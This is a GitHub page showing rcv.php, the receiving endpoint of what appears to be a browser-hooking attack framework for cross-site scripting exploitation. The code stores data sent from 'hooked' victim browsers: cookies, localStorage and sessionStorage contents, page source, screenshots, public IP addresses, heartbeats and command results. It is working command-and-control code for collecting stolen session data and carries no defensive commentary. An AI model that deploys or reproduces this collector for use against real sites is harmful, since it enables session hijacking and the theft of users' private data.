-
Notifications
You must be signed in to change notification settings - Fork 57
/
rcv.php
38 lines (32 loc) · 1.59 KB
/
rcv.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
include_once __DIR__ . '/inc/rcv.inc.php';
// New hooked browser
if(isset($_POST['action']) && $_POST['action'] == 'initHook') {
initHook($pdo, $_GET['browserId'], $_POST['userAgent'], $_POST['hostname'], $_POST['vulnerableURL'], $_POST['origin'], $_POST['referer'], $_POST['cookies'], $_POST['localStorage'], $_POST['sessionStorage']);
}
// Retrieve source code
if(isset($_GET['browserId']) && !empty($_GET['browserId']) && isset($_POST['sourceCode']) && !empty($_POST['sourceCode'])) {
getSourceCode($pdo, $_GET['browserId'], $_POST['sourceCode']);
}
// Retrieve hooked screenshot
if(isset($_GET['browserId']) && !empty($_GET['browserId']) && isset($_POST['hookedScreenshot']) && !empty($_POST['hookedScreenshot'])) {
getHookedScreenshot($pdo, $_GET['browserId'], $_POST['hookedScreenshot']);
}
// Is hooked browser online/offline ?
if(isset($_GET['action']) && $_GET['action'] === 'heartbeat') {
heartbeat($pdo, $_GET['browserId']);
}
// Retrieve public IP
if(isset($_GET['action']) && $_GET['action'] === 'getPublicIP') {
getPublicIP($pdo, $_GET['browserId'], $_GET['publicIP']);
}
// Analyse event from hooked browsers
if(isset($_GET['type']) && !empty($_GET['type'])) {
if($_GET['type'] === "Command Result" && $_GET['module'] === "Screenshot") {
addEvent($pdo, $_GET['browserId'], $_GET['type'], $_GET['module'], $_POST['event']);
}
else {
addEvent($pdo, $_GET['browserId'], $_GET['type'], $_GET['module'], $_GET['event']);
}
}
?>